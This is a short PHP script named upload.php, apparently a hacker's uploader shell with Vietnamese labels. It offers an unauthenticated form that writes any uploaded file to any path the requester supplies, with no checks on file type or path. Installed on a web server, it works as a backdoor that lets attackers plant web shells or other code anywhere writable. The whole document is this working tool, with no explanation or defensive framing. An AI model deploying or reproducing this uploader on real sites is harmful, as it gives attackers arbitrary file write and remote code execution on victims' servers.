upload.php

<?php
$files = @$_FILES["files"];
	if($files["name"] != ''){
		$fullpath = $_REQUEST["path"].$files["name"];
		if(move_uploaded_file($files['tmp_name'],$fullpath)){
			echo "<h1><a href='$fullpath'>T&#7843;i File L&#234;n Th&#224;nh C&#244;ng, Kick V&#224;o &#272;&#7875; T&#7899;i File.</a></h1>";
		}
	}
echo '<html><head><title>.:>Tuy&#7875;n Hacker<:.</title></head><body>
<form method=POST enctype="multipart/form-data" action="">
<input type=text name=path>
<input type="file" name="files"><input type=submit value="Tuy&#7875;n"></form></body></html>';
?>